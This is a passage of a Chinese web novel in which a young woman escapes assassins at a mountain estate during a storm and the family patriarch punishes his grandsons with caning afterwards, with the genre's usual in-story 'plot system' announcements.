这些年他看上的猎物没有一个脱网的,除了苏韵。 每次只要一想到这件事,关鹤就觉得心痒难耐,偏偏苏韵今时不同往日有苏家撑腰,他只能看不能碰。 不过,如果今晚大闹起来,说不定机会就来了。 “阿珩哥,你找我?” 顾玉珠一脸好奇走进内屋。 当初她是被周宴珩客客气气请来做客的,周宴珩对她的说辞是,这是一场警匪对抗的团队游戏。 他扮演的是绑匪,顾玉珠是人质,沈家兄弟是警察,顾玉珠信以为真也就没有任何防备。 周宴珩故作严肃,“阿珠,我叫你来是因为出现了紧急事故。” 原本周宴珩打算把人一个一个骗进来后再引土匪开火,但计划还没实施就被打乱了,所以他现在不得不重新制定游戏规则。 顾玉珠脸色微变,跟着紧张起来,“怎么了阿珩哥?什么紧急事故,你可别吓我。” 周宴珩,“我们的游戏要结束了,因为现在山庄出现了一批真正的杀手。” “真正的杀手?”顾玉珠吓的脸色惨白,身子不停地发抖,“阿珩哥,你别吓我。” 周宴珩站起身,眼中多了几分急促,“这种事能开玩笑吗?我也是刚刚才知道的,我去找沈兰晞商议却发现他们都不见了,看来他们早就发现了异样,所以提前躲起来了。” “怎么这样?”顾玉珠又急又怒,“他们怎么能这么不讲义气!” “生死面前也怪不得他们。阿珠,这些杀手不简单,我们的同伴已经有四个死在他们手里。我和阿鹤找了一圈也没有找到她们,你知道她们躲在哪里吗?我掩护你,你现在赶紧去跟她们汇合。” 关鹤搓了搓鼻尖,这狗东西骗起人来还真是眼睛都不眨。 “我知道,她们一定躲在紧急避难密室。” 顾玉珠这种傻白甜哪种招架得住周宴珩这种大尾巴狼,被他连哄带吓什么都交代了。 周宴珩眼底泛过暗涌,嘴角勾起一抹弯弧。 他之前曾让人搜过其他小院,发现所有人好似一下凭空消失了,那个时候他就怀疑这山庄里有隐藏密室,没想到还真如他所料。 关鹤怔愣片刻,一脸惊叹看向周宴珩,“靠!还真有密室。沈兰晞他们也太不仗义了,这种事一点风声都没透露。” 周宴珩压着眼里的凶光,语气温和有耐心,“阿珠,你知道避难室在哪吗?” 顾玉珠点头,“我知道。出门之前奶奶特意给我看了山庄基建图,密室就在电影厅的地下二楼,那里有条密道。” 关鹤一脸兴奋,“那我们还等什么?” 顾玉珠眼神微顿,略有些迟疑,“密室大门一旦被开启只有里面的人才能打开,我担心……” “不用担心,她们一定也是因为太过害怕才会先躲起来,你们都是玩的好的伙伴,你去她们一定会给你开门的。为了不让她们多虑,我和阿鹤掩护你不会跟进密道。” 周宴珩扬起嘴角,眼眸深邃温柔。 顾玉珠忽的羞红了脸,低着头不敢直视,“阿珩哥,你人真好。” 关鹤,“……” …… 第393章 杀不死的小花儿 “哗啦——” 姜花衫憋着一口气从湖面慢慢探头,蹲在岸边等了一会儿,确认没动静才敢上岸。 因为长期浸泡在水里,手掌已经变的皱巴巴布满水痕。 不行,肚子越来越痛了,再这么泡下去身体会熬坏的。 得另外想想办法。 姜花衫小心躲在草丛,将自己缩成小小的一团。 “奇怪了,明明看见她往这来的,人呢?” 突然,一道黑影从墙垣后走了出来,围着空地打量了一圈,甩着手里的步枪开始狠狠砸路边的灌木。 树枝抖动的声音越来越近,姜花衫脸色微变,悬着的心一下就跳到了嗓子眼。 眼看下一秒就要砸中,突然空地里响起另一道声音。 “你在这搞什么?” 这声音极冷,没有起伏,但很年轻,在嘈杂的雨声中显得毫不起眼。 姜花衫捂着嘴巴,她不敢动,只能竖起耳朵仔细辨别。 这是她最接近杀手的一次,说不定能抓住什么线索。 泄愤的男人粗声粗气,“操他妈,我们已经被一个丫头片子遛狗一样溜了一晚上。” 那个年轻的声音语气很淡,“要这么好杀就不是这个价了。” 这时,又出现一道暗哑的男音,“现在人跟丢了怎么办?” 三个人?!姜花衫闭眼,咬了咬舌头提醒自己务必要冷静,现在任何风吹草动都会要了她的命。 “沿着湖岸走,她不可能一辈子都躲在水下。” “妈的,老子要抓住她非扒了她的皮不可。” “少废话。” 三人一人一句踩着雨水往湖边走去。 姜花衫等了一会儿,没听见动静才慢慢松了口气,正要动忽然想到什么又憋了回去。 “踏踏踏——” 没一会儿,空地里又传来一阵急促的脚步声。 姜花衫脸色凝重,闭着眼再次装死。 “妈的!还真不在这!刚刚老子分明看见她在这上的岸。” 狙击男目光不善,“还真跟丢了?” 三个人追一个丫头片子竟然还把人跟丢了? 这已经不是暗杀事业的滑铁卢了,是奇耻大辱! 夏星沉也没想到这次的目标这么难搞,环顾一圈冷冷道,“上塔楼。” 要走了! 姜花衫缓缓睁眼,刚缓下去的一口气瞬间提了起来。 大……姨妈侧漏了!!!!! 渗透的雨水带着一丝不可察的粉色慢慢淌进了草地。 她心一下乱了,狂跳不止。 这么黑,这么大的雨,应……应该不会被发现吧。 忽然又头顶的雨好像突然变大了。 姜花衫有些绝望,抱着膝盖慢慢抬头。 “轰隆——” 雷声轰鸣,白光划过。 一个戴着苦无面具的男人正俯身看着她。 “……”姜花大脑顿时空白。 男人眯了眯眼,拉枪上膛,正欲动手,耳边突然出来一声大喝。 “沈谦?沈渊?沈澈?沈让?沈执?” 男人一愣,眼底闪过一抹异样。 姜花衫并没有错过这抹异样,抓起一团泥巴堵住枪口,猛地起身对着那人的脸撞去。 与此同时,男人扣动扳机,子弹从姜花衫侧脸飞过,刮开一条血口。 “啊!竟敢打我的脸,我跟你拼了!”姜花衫一口咬住男人的虎口,咬完果断翻身逃走麻溜滚下坡,一头扎进了湖里。 整个动作行云流水一气呵成。 “发生什么事了?”听闻动静的两人从墙垣后赶了回来。 夏星沉捂着鼻子,冷嘶了一声从地上爬起来。 狙击男一脸难以置信,“那丫头刚刚从你的眼皮子底下溜走了?” “我草!阿沉?你他妈什么时候这么废了?” “闭嘴。”夏星沉眼里透着凶光,一瞬不瞬盯着虎口的牙印。 虽说刚刚的确有一瞬间着了姜花衫的道,可他分明是对着她的眉心开的枪,那么近的距离竟然还能脱靶,实在是有些诡异。 “现在怎么办?” 夏星沉盯着雨地被冲淡的血渍,眼神微顿,“沿着湖边找,她迟早会上岸。” “阿沉!快看!” 湖对岸少女已经爬上了岸,隔着重重雨幕伸出双手,一手一个中指朝他们招手。 “……” “草!” 这挑衅谁受得了? 狙击男二话不说架枪瞄准。 夏星沉思忖片刻,拍了拍狙击男的肩膀,“别瞄准要害。” 男人狂躁的的不行,“靠,你他妈这个时候心软?” 夏星沉,“瞄准肩膀,按我说的做。否则,扣钱。” “……”男人咬了咬牙,重新瞄准姜花衫的肩膀,扣下扳机。 “砰——” 子弹穿过雨幕,电闪而至。 对面之人突然倒地。 “打中了!!!”男人激动地差点哭了出来。 终于!放了一晚上的空弹,终于中了一回! “过去。” 三人正要动,对岸的人突然举起右臂,又比了一个中指。 “……” …… 第394章 守护之翼 姜花衫挑衅完立马从地上爬起来,一溜烟躲进了阆苑。 “草!又没打中?!这他么是个什么邪祟,这么难杀!?” 夏星沉眼底掠过一丝暗涌,“去对岸。” 三人绕上木桥迅速抵达湖对岸。 夏星沉神情冷凝,四处环顾,忽然眸光一定。 刚刚姜花衫躺着的草地里囤积着一滩粉色的血水,血迹被雨水冲击一直蔓延到廊庑墙垣。 狙击男上前检查草地上的血水,“打中了?” 若是以前他绝对不是这么没自信,实在是这丫头片子太邪乎了。 夏星沉沿着草地巡查了一圈,“没有子弹。” 如果是空弹,现场一定会留下痕迹,这么看来那一枪是打中了。 背着冲锋枪的男人看着一路的血迹,表情古怪,“这丫头到底什么来头?” 这么大的血量说明伤的不轻,她刚刚那反应可不像是中弹的人。 夏星辰思忖片刻,转头看向狙击男,“老毒,下次不要瞄准要害,打她的腿。” 狙击男一脸晦气,擦了擦瞄准镜,“行。我算是明白了,这丫头就是个活爹。” * “好痛。” 姜花衫躲在小院墙角,龇牙咧嘴检查肩上的伤口。 实际上她并没有刚刚表现的那么强悍,子弹穿过手臂的时候她人都差点吓麻了。好在中弹的不是什么重要位置,血流了一会就止住了,只是不知道怎么回事,现在整个左臂毫无知觉,就跟废了一样。 雨水从屋檐溅落冲淡了脚下的血渍,姜花衫面无表情看着头顶的夜幕。 也不知道沈龟灵那边怎么样了?反正她这边是不太妙。 明明之前怎么打都打不中的,现在竟然中弹了。难道又出现了什么她不知道的偏差,所以才导致她的光环效应失灵了? 依照现在的情形,那些杀手应该很快就会追上来,若是没有剧目之力的保护,下一次可就没这么幸运了。 “踏踏踏——” 忽然,嘈杂的雨声中夹杂一串急促的脚步声。 姜花衫顿时警铃大作,猫着腰躲在角落的水缸后。 转眼一道黑影横过庭院窜进了主屋。 姜花衫一眼就认出那是三个杀手之一,依照她的分析,这个人和之前与她在水下纠缠的应该是先锋探哨,刚刚被她咬了一口的是主谋,还有一个是负责远程伏击的狙击手。 也就是说,另外两个现在应该也在附近。 姜花衫捂着肩膀贴着墙慢慢往院外退,现在她的手臂受伤了,潜水的优势也没有了,必须要找个目标转移了一下伤害才行。 忽然,她灵光一闪。 眼下不是有个现成的吗? * 中心楼。 周宴珩一行人商量好对策便结伴出了庭院。 天边电闪雷鸣黑云翻涌,仿佛末日来临。 顾玉珠小心翼翼跟在周宴珩身后,不时往后环顾,“阿珩哥,你确定这附近没有杀手吧?我……我有点怕,总感觉有人在盯着我。” 出了中心楼,一路无灯,偶尔一道闪电划过画面阴森诡异。 关鹤眉头紧锁,抱着胳膊打了个冷颤,“都这么时候了,少他么疑神疑鬼。” 周宴珩神情冷漠看着前路,“从这可以去电影厅?” 负责打探路线的男生连忙点头,“从这条小路比较近,廊桥那么目标太大,容易被人盯上。” “啊!!!” 忽然,顾玉珠发出毛骨悚然的尖叫。 “有……有人摸我的脸!!!” 其余三人愣了愣,不约而同举起手枪对准顾玉珠。 “轰隆——” 惊雷伴着紫电如蛟龙腾飞,光华骤亮。 但见从顾玉珠身后探出一张容貌昳丽的笑脸。 “大晚上的,你们又要出去做什么坏事?带上我~” * (今天有事先更这么多,晚点补齐,宝宝们明天看~) 第395章 家法伺候 “砰——砰——” 塔楼高空连续射出两发子弹。 白密脸色骤变,朝傅绥尔大喊,“快走!” 傅绥尔死死抱着姜花衫,“我不走!死我也要跟她死在一起!” 话音刚落,空中划过两条弹道,从傅绥尔左右两侧划过,子弹穿过气流震碎了散落两边的碎发。 “……”白密沉默了片刻,抬眸看向一千米外塔楼方向。 另一边,夏星沉早在傅绥尔搅局时就转移了方向,他心知眼下参与的人越来越多,已经错过了杀姜花衫最好的时机。 就在他越过墙角时,对面突然转出一道黑影。 “开了枪就想逃?”周宴珩举枪指着夏星沉的眉心,“我同意了吗?” 夏星沉眸光微沉,缓缓举起双手。 周宴珩扣动转轮,正欲开枪,夏星沉突然往前一步,用额头抵着枪眼。 “看来今晚的事周少爷还不知情?” 周宴珩眼中闪过暗芒,神情不显,“周家的人?那就更该死了。” 夏星沉不紧不慢,“我活着的价值一定比死更大。” 说着,他一把掀开脸上的头套,“周少爷何不回去问问老爷子再决定?” 他已露出真容,以周家的势力要杀他易如反掌。 “砰——” 就在这时,塔楼方向传来一声枪响。 夏星沉抬头看了看夜幕,黑云疾走,大雨要散了。 他轻叹了一声,略带遗憾笑了笑,“看样子,老毒被干掉了,这个时候还能抽出人手去塔楼伏击,沈兰晞他们的危机应该解除了。周少爷还是快点做决定,不然等他们赶来可就没得玩了。” 周宴珩思忖片刻,收了枪,“滚。” 夏星沉仿佛早料到了这个结果,低头带上头套,“多谢周少爷,后会有期。” 大雨收势,夏星沉的背影渐渐被黑夜吞没。 周宴珩在原地站了一会儿,正要转头,忽然角落树丛里传来沙沙声。周宴珩眼眸微沉,转身走向树丛。 “谁?出来。” “我什么都没听到,我什么都不知道。”顾玉珠捂着被打穿的手掌,神情癫狂,手脚并用从草丛里爬了出来。 “怎么又是你?” 周宴珩啧了一声,举枪指着顾玉珠的眉心。 “不要杀我!我保证什么都不说,保证乖乖听话,求求你!求求你!” 之前那一枪,顾玉珠已经领教到了周宴珩的可怕,见他又拿枪对着自己,顾玉珠再顾不上其他趴在地上抱着周宴珩的腿。 周宴珩眼皱眉,一脚踹开顾玉珠,正要开枪忽然又想到什么,蹲身踩住顾玉珠受伤的手,“真的能乖乖听话?” 顾玉珠疼的浑身抽搐,哭着点头,“能,我保证。” 周宴珩起身,慢慢松开顾玉珠的手,“这可是你说的。” 顾玉珠趴在地上不敢抬头。 解决完这边,周宴珩又转回垂花门后。 “杉杉!”傅绥尔抱着姜花衫,放声嘶吼,“有没有人啊!!兰晞哥!阿灵哥!清予哥!!!有没有人啊啊!!救救她,救救她!” 周宴珩脸色微变,正要上前,却见对面石径路上有一行人正往这边赶来。 他脚步顿了顿,犹豫片刻退回了庭院。 为了确保现场安全,白密下命让属下去抓塔楼的狙击手,自己则亲自去抓另一名杀手。 老郭手里背着冲锋枪,白密一路将人追到内院池塘才将人反杀,等他赶回来的时候,恰巧遇见沈家来人了。 他的身份敏感,今晚出了这么大的事他要被抓现场,只怕宝座那位老太太会把他抽成猪头。 思忖再三,白密也选择了退避。 只是说不上什么原因,他总觉得心里空落落的,好似被什么绊住了。 他有些迷茫,回头看向雨地里的少女。 奇怪,风雨已退,怎么她的翅膀还在? * 八个小时后。 沁园。 内院的管事阿姨进进出出,所有人大气不敢出,有条不紊在廊庑里各自忙碌。 花厅人,乌泱泱一群人,沈庄端坐在主位,神情冷穆,其余人脸色凝重,垂眸不语。 “跪下。” 这一声命下,沈兰晞、沈归灵、沈清予立马站起身,扑通跪下。 沈庄,“北区山庄的主意是谁出的?” 沈兰晞低头,“是我。” 沈庄点头,“沈执,去把老三和老三媳妇请过来。” 沈兰晞脸色微变,抬头看向沈庄,“爷爷……” 沈执面露为难,但这个时候谁劝就是嫌命长,他低头跑出花厅,没一会儿手里抱着两个灵牌走了进来。 “摆好。” “是。”沈执小心翼翼将灵牌摆在上位。 沈兰晞看着上面熟悉的名讳,红着眼磕了三个响头。 沈庄,“因你父母之故,爷爷从来都舍不得对你动手,但你今天错的离谱,不罚不行。沈执,去请家法。” “……是。”沈执左右为难,犹豫片刻双手取下架子上的红木藤条。 沈庄,“先抽他一百鞭,让他长长教训!” “老爷子,这……这可不行啊!”沈执举着藤条跪下。 沈兰晞是长房唯一的血脉,沈庄平日连句重话都舍不得说,一百鞭,谁敢动? “有什么不行!”沈庄暴怒,拿起桌上的御用瓷盏狠狠砸向沈兰晞。 沈兰晞闭眼,额头被砸出了血口依旧不偏不躲。 高止守在花厅外,见此情景吓得心中的聒噪小人原地爆炸。 完了完了! 老爷子已经被气疯了,看来少爷这次是凶多吉少了 。 高止咽了咽口水,小心翼翼往后退,好可怕,他还是赶紧找个地方躲起来,免得被少爷连累了。 “高止。” 这边念头刚起,沈庄忽然点名,高止吓的人都麻了,面无表情跨进花厅,不等沈庄开口噗通一声跪下。 “老爷子明鉴,这件事完全是少爷和阿灵少爷、清予少爷他们自作主张,我劝过他们,可他们根本不听。” “……” 沈兰晞眉头动了动。 沈庄面色不显,缓缓道,“既然如此,这一百鞭你来打,看他以后还敢不敢不听劝?” 高止,“……” …… 第396章 沈庄之怒 什么? 竟然让他打?好歹毒的心思,果然,姜还是老的辣。 沈庄,“怎么,你不愿意?” 高止低着头没有反应。 不是不打,打少爷这事就跟人情送礼一样,得推诿一二,总不能一说打他立马就拿鞭子,到时候菜鸡少爷肯定会对他有意见的。 沈庄神色淡淡,“既然不愿意,那就你先领一百鞭,郑松。” “!”高止猝不及防,猛地抬头看向沈庄,“老爷子…我…唔唔……” 我愿意,我可以。 郑松完全不给高止机会,一手抓着他的脸直接把人拖出了花厅。 高止,“……” 没一会儿,廊架下响起了鞭笞声。 沈兰晞低头,给沈庄磕了三个响头,额头的血水沿着清俊的侧脸一滴一滴落在身下的地毯上。 “爷爷,我认罚。” 沈庄神色复杂,闭眼,“沈执。” 沈执硬着头皮站起身,举着藤编绕过沈兰晞身侧,“兰晞少爷,您多担待。” 说罢一鞭子抽了下去。 “啪——” 这一鞭沈执收了力,只是看着响实际伤害不大。 沈庄,“给我用力打,力度打的不够就给再加一百鞭!” 沈执不应该再徇私,又一鞭甩了下去。 沈清予终于忍不住,跪地往前对着沈庄磕头,“爷爷,祸是我们一起闯下的,要打您连我们一起打。” “你以为你逃得了?”沈庄顿时火冒三丈,拿起手边的拐杖对着沈清予的胳膊狠狠砸下。 沈清予眼睛都不眨,咬着牙不说话。 沈庄又不解气,又连抽了几棍,吓着沈执都不敢动鞭。 “谁让你停的,给我打!” 沈执还从没见沈庄发这么大的火,硬着头皮继续鞭打。 沈庄动了肝火,气喘吁吁站起身,目光在三人面前来回逡巡。 “你们现在翅膀硬了,爷爷管不着了是不是?” 三人低头不语。 沈兰晞死死攥着拳头,目光一瞬不瞬盯着桌上的灵牌,生生挨了五十鞭,他脸上始终没有任何表情。 沈清予看不下去,跪着挡在沈兰晞面前,“别打了!爷爷,既然是三个人的错,就应该三个人一起罚。”说着抬头看向沈执,“剩下的五十鞭,我来受。” 沈兰晞淡淡推开沈清予,“继续。” 沈归灵跪在原地,一直沉默不语。 他们所有人都争着受罚无非是想以此弥补对姜花衫的愧疚,可他不需要,因为不管是一百鞭还是一万鞭都不能弥补他对自己无能的恨。 不过才分别了一个小时,她就中了三枪,可想这一路她到底经历了什么? 可若不是他和沈兰晞过于自大,布下山庄之局,她根本不用经历这些。 沈庄冷笑,“你们这个时候倒是手足情深了,沈执,每人一百鞭,一鞭都不能少。” 沈执犹豫看沈庄一眼,绕过沈兰晞对着沈清予抽去。 鞭子声此起彼伏,这么大阵仗竟园把沁园的管事阿姨都吓的不敢出声。 沈谦一行人赶到沁园的时候就就看见眼前这出,沈渊见沈清予被打的皮开肉绽,一脸心疼冲进花厅,“爸!您这是做什么?有话您好好说,这么打会把孩子打坏的。” 沈庄扫了眼前众人,脸上余怒未消,“要是怕我打坏了你儿子,现在就把人给我领回去。” “这……”沈渊被噎的一句话说不出,转头看向沈谦。 沈谦此刻的可谓处于油烹火煎之中,今晚他派出的杀手全部折损,他收到消息时已经晚了一步,老爷子连夜调来了北区军队,将里面的人安全转移后便封锁了整个北区。 今晚的事一旦泄露,只怕会被沈家永远边缘化。 沈谦强逼自己冷静,不着痕迹打量现场情况,待看见老三沈玺的灵牌都被搬了出来便意识到事情可能比他想象的还严重。斟酌片刻,沈谦选择了按兵不动,眸光状似无意看向沈归灵。但沈归灵好似没了往日那份机灵劲,从头到尾都没有看他一眼。 沈庄冷冷打量眼前一群人,“你们来做什么?” 众人看眼前这场面就知道老爷子气的不轻,相互看了看,沈澈硬着头皮接话,“爸,我们听说北区山庄有海寇作案,衫衫和绥尔都受了伤,孩子们现在怎么样了?” 沈庄,“一个废了手,一个废了手和脚,你们说怎么样了?” 这话一出,沈兰晞和沈清予眼眶又红了几分。 沈渊见状以为沈清予受了委屈,硬着头皮挡在沈清予面前,“爸,衫衫和绥尔受伤大家都很心痛,但你也不能因此迁怒清予他们,您疼爱孙女没错,但也不能这么苛责自己的亲孙子啊。清予腿上也有伤,怎么没见您心疼?” 沈庄转眸看向沈清予包扎的伤口,“听见你爸爸说的了?你自己怎么说?” 沈清予,“是我的错?今天就算爷爷您打死我,我也认。” “你有什么错?”沈渊气的心肝疼,指着沈清予正要开骂,但见他腿上绑着绑带,后背血肉模糊又生生忍了下去。 “阿灵,你呢?”沈庄转眸看向一直沉默的沈归灵。 沈归灵低着头,“任爷爷处罚。” “好。”沈庄点头,“每人一百鞭,再去祠堂面壁思过。” 一百鞭!? 沈渊被吓的血色全无,转头拉了拉沈谦,“一百鞭下去人都要打死了,你倒是说说话啊。” 沈谦扫了沈归灵一眼,“爸,他们做错什么了?这是不是太严厉了一点。” 从前就算沈年闹出那么大的事,老爷子也就打了五十鞭,现在竟然开口就是一百鞭,甚至连沈兰晞都不可避免,沈谦越发看不明白了。 沈庄,“我再说一次,沈家我才是一家之主,只要我没死,沈家就是我说的算。你们要觉得我处置不公,你把你们的儿子带回去,从今以后不许踏足沈园半步。” 沈谦没套出半点有用的话还被训了一顿,神情讪讪,“爸,您言重了,我不是这个意思。” 花厅里的气氛一时降至冰点。 “爷爷!” 这时,沈眠枝气喘吁吁冲进花厅,嗓音里带着哭腔,“爷爷,衫衫醒了。” …… 第397章 凝聚!守护之心 这话一出,沈兰晞、沈归灵、沈清予不约而同站了起来。 沈庄冷冷敲了敲桌面,“我让你们起来了吗?” 三人脸色微变,迟疑片刻又乖乖跪了回去。 沈庄拄着拐杖,目光在三人之间逡巡了一圈后,点着沈执,“一百鞭,一鞭都不能少。打完了让他们去祠堂呢面壁思过。” 沈执不敢忤逆,点头应下。 “眠枝,你跟我走。” 沈庄抬了抬胳膊,沈眠枝会意立马上前搀扶,眼看老爷子转身要走,沈清予要咬了咬后牙槽,“爷……” 沈渊眉心跳了跳,生怕这逆子又说出什么大逆不道的话激怒沈庄,一把摁住他的肩膀把人压了回去。 沈庄回头看向沈清予,“你还有话说?” “没有没有。”沈渊赶紧赔笑,“爸,这有我们看着,您先去看衫衫和绥尔吧。” 沈庄目光淡淡扫向沈渊,沈渊嘴角抽搐,尴尬咳了一声。 * 菊园。 姜花衫怔怔望着天花板的水晶玛瑙灯,脸上时不时露出得意轻快的笑声。 就在刚刚,她的脑子里响起了一串电子音。 【叮——】 【警告!由于当前人物恶意篡改剧目,主线剧情已严重偏离,现已为您重新生成最新剧目篇章。】 【生成完毕——】 【原章节剧目——《破裂!分崩离析的开端》更改为《凝聚!守护之心》】 【为剧目世界载入当前剧情:第三百九十七章--《凝聚!守护之心》】 【警告:当前主线剧情偏离59%。】 【警告:主线偏离90%,剧目世界将毁于一旦。】 【警告:为了保护剧目主线完整,剧情一旦偏移超过60%,剧目世界将开启书灵守卫模式。】 好久没有听见这么悦耳的声音了。 不枉费她一晚上吃了三弹,现在要开始进入精彩的博弈环节了。 张茹端着白粥进屋时,就看见这傻姑娘咧着笑的一脸得意。 “小姐……” 从六个小时前姜花衫被抬进菊园后,张茹就再没合过眼,床前有孟医生带来的医师精心护理也轮不到她插手,她担心又不敢多问,只能躲起来偷偷抹眼泪呢,好不容易听到屋里的人喊说,姜小姐醒了,张茹这才有了进屋的资格。 姜花衫愣了愣,抬头打量四周,“张妈?我回来了?” 她脸上满是欢喜,丝毫没有重伤后的沮丧。 张茹低头抹了抹眼角,扯着笑容走到床前,“回来了,回家了,小姐,您还有没有哪觉得不舒服?您……痛不痛啊?” 姜花衫这才意识到什么,掀开身上的被单,她现在两只腿打了钢板,一只手夹着木板,整个人只有四分之一处可以自由活动。 “……”姜花衫顿时笑不出来了,一脸震惊看着张茹,“我现在一点痛的知觉都没有,我是不是变残废了?” “不许胡说。”沈庄轻斥了一声,拄着拐杖大步走进房间。 “爷爷!”姜花衫喜出望外,又咧嘴笑了出来,“是您把我救回来的?” 沈庄原本心中压着怒火,可一看见姜花衫盛满笑意的桃花眼,心莫名就软化了。 “我来吧。”沈庄从张茹手里接过白粥,张茹立马识趣退至一旁,回头看了看门外,思忖片刻又悄悄退了回去。 沈庄床侧坐下,用瓷勺舀了一口白粥,温声道,“你刚醒来,先吃点容易消化的,等过几天再让小张给你做好吃的。” 姜花衫盯着沈庄的脸色细细打量,低头大口闷下一勺,眼神飘了飘,“爷爷,那三个……您打死了没?” 话落,瓷砖叮的一声撞上了碗边。 沈庄抬眸,此时那双桃花眼里又多了几分幸灾乐祸的狡黠。 * 第398章 选择权 沈清予愣了愣,涨红的脸色忽然转白。 沈庄抬着胳膊点着他的肩膀,“你以为你赚了点小钱就有本事了?你也不想想你的底气和资本是谁给你的?外面的人知道你是沈家少爷,才愿意把蛋糕分给你吃,脱离了沈家,没有第一桶金的资源,你以为你能站上资本的台面?” 沈清予还是有些不服,“原来我在爷爷心中这么废?” “事实如此。”沈庄丝毫不留情面,转头看向沈兰晞,“还有你!兰晞,你真是太让爷爷失望了!” 沈兰晞抬眸,目光灼灼看着沈庄,“我让爷爷失望,爷爷何尝又没有让我失望呢?” 这话如同一把利刃狠狠插进了沈庄的心脏,老爷子缓缓放下拐杖,眸光愈发冷沉。 沈兰晞眼眶微红,低声笑了出来,“我原以为爷爷是真的偏爱我,没想到您的偏爱竟然是明知我被诬陷还是将我送去清虚观,明知凶手就在身边还是养虎为患。爷爷,在您的大局里,我又算什么?” 沈清予脸色微变,原本他还在为自己打抱不平,可听了沈兰晞的话忽然觉得自己的事就是小儿科。 他以前总是嫉妒沈兰晞轻而易举就得到爷爷的全部偏爱,可如果现在代入沈兰晞的感受,他又庆幸自己不是沈兰晞。 换作是他,年幼的时候但凡经历过沈兰晞经历的其中一件事,他都会崩溃,但沈兰晞却独自承担所有。 但比起过往的栽赃和刺杀,眼前的真相更加残忍。 原来身边最亲近的人一直知道那些罪恶的来源,却选择做个又聋又哑的阿家翁。 沈兰晞难得情绪外放,见沈庄沉默不语,咬牙质问,“请您告诉我,什么是大局!您的大局是什么?” 沈庄缓缓抬眸,深邃的眼底满是雾色,他平静转头看向沈归灵,“阿灵,你告诉他们,什么是大局?” 沈归灵眼睑微动,抬眸迎上沈庄的目光。 老爷子来这里之前去过菊园,想来已经知道了山庄那晚的事。 他沉默片刻,低声,“是守望相助,休戚与共。” 沈兰晞眸瞳泛过细光,转头看向沈归灵,“你在说什么?” 沈归灵,“昨晚,我被一群杀手拦在中心湖,所以才导致计划失策。是衫衫……她替我引开了杀手,让我一定要回去找清予,让我一定要完成跟你的约定。” 沈兰晞眼瞳微缩。 沈清予大脑一片空白,许久都没缓过神,之前沈归灵只说遇见了杀手埋伏,但并没有说是姜花衫引开的。 两人一下反应过来,心底瞬间荡起千层浪。 沈清予不敢相信看着沈归灵,“你让她一个人去引开杀手,沈归灵你是不是疯了!” 沈归灵垂眸,眼底血丝纵横,他是疯了,所以才相信了她说那些鬼话。 “她为什么……”沈兰晞哑声,喉间忽然梗塞。 还能为什么? 为了大局,为了不要让他们相互猜忌。 沈兰晞闭眼,将含在眼眶的泪水逼了出去,再抬眸时睫羽已经湿了一片,他放下眼中资料,对着沈庄重重磕了一个响头。 “爷爷,对不起。” 一念善一念恶。 沈庄把证据拿出来的时候,沈兰晞最先想到的是自己经历的苦难,所以怨念丛生,诸般不是。 可是他忽略了一个最浅显的道理,如果沈庄真的打算放任又为什么要苦心收集证据呢? 那是因为,爷爷在等他们长大。 其实他心中何尝不明白,去清虚观并非爷爷是听信了谗言,而是为了更好的保护他。 沈庄长舒了一口气,神情萧瑟,“阿玺走后,沈家断了军处一脉,议员长这个位置制衡法院和政府,一旦老大失势,沈家也会受到重创。” “老二、老三苦心经营多年,沈氏财团早已和沈氏家族骨肉一体,若强行剜肉,沈家难保不会被有人之心吞噬。家族之争向来你死我活,傅家、姚家就是最好的例子。” 说罢,老爷子拄着拐杖慢慢起身,目光从容转过眼前三人,“当年沈家一族殉国,只留我一个纨绔支撑家业,为了这个家,我这辈子负了无数人,若不能撑起家族荣耀将来死后又有何面目去见他们?所以,今天我就把话放在这,有我在,谁都不许动沈家的根基,你们要想报自己的仇就站在高处去,顶了这天。要是没这本事,就给我老老实实闭嘴。” 祠堂的烛光将四人的身影拉的斜长,沈庄拄着拐杖,踩过散落的资料慢慢走出了祠堂。 * 晚风拂面,年逾古稀的老人站在池边聆听蝉鸣。 他若还年少,也必定会像那些孩子一样手持宝剑无畏向前,只可惜,他是真的老了。 十三岁那年,沈庄曾含着泪垂问姜花衫,有没有好好长大?她说有。于是沈庄便猜到了姜花衫一定是为他而来。 从那年她提醒他沈家有内奸后,沈庄便一直在暗地里调查沈家所有人。 不查不要紧,越查越心寒,若非证据确凿,他无论如何都不敢相信这些逆子竟然背地里做了这么多见不得人的是事。 可他知道的时候为时已晚,沈家已经摘不干净了。 所以他只能忍,等着孩子们慢慢长大再一步一步削权。 原本盒子里的东西,沈庄打算再放几年再告诉孩子们,可姜花衫的话却点醒了他,他总是想着等孩子们再大一点,可是他不放手,孩子是永远不会长大的。 想要他们独当一面又休戚与共,光是思维教育是远远不够的,必须要让他们自己选择。 现在他们想要的证据就摆在面前,一旦这些证据公开,沈兰晞可以报被数次暗杀的仇,沈归灵也可以为当年枉死的母亲伸冤,他将沈家的未来交付给了这三个孩子,家族是荣是辱,全看他们。 沈庄轻叹了一声,沿着桥廊慢慢向内院走去。 少年时,醉卧溪边,盛夏听蝉都能听出天地辽阔,当时只道禅意如此。 如今才明白,天地辽阔的不是盛夏的禅意,而是当时的少年。 …… 第399章 夏日明媚 翌日,晴空万里。 沈庄坐在窗下的摇椅上闭目养神。 阳光照在翠绿的叶片上投下点点浮光,微风晃过木窗,光影从玻璃穿过。 三道人影齐齐出现在门槛边,盛夏明媚,连地上的影子都格外显眼。 “爷爷……” 摇晃的竹椅戛然而止。 沈庄缓缓抬眸,但见沈兰晞、沈归灵、沈清予三人并肩入屋,沈兰晞手里还捧着那只红木箱。 沈清予,“爷爷,我们想问,怎么样才算顶起了这片天?” 沈庄眸光微动,嘴角隐隐有了笑意。 * 下午,日头正毒的时候,苏妙突然造访。 沈家人知道她与姜花衫的关系,便直接把人请到了菊园,苏妙一见姜花衫全身上下打着绷带,整个人都惊呆了。 现在全鲸港的人都知道北区的富人山庄进了海寇,但因为沈庄封锁了山庄消息,没有人知道具体发生了什么,各种版本不胫而走,其中最荒谬的就是因为沈家小姐被海寇暗杀,沈老爷子震怒血洗山庄。 “你这是什么造型?”苏妙原本是不信的,但事实摆在眼前也不得不信了。 姜花衫老神在在,“说不出来你可能不信,昨晚我一个人就扛了三枪。” 原本她还担心自己残废,但孟医生告诉她,这三枪都没有伤及要害,修养两个月就能康复了,最关键的是,这两个月她尽量不要乱动,有什么事就吩咐别人去做,能躺着就不要坐着,能坐着就不要站着,等骨头长好了再做康复训练。 姜花衫万万没想到还有这种好事,欣然接受。 “……”苏妙,“海寇一晚上只抓你了?” 姜花衫想了想,“差不多吧。” 苏妙一脸复杂,挨着床边的椅子坐下,“平时那股机灵劲儿哪去了?” 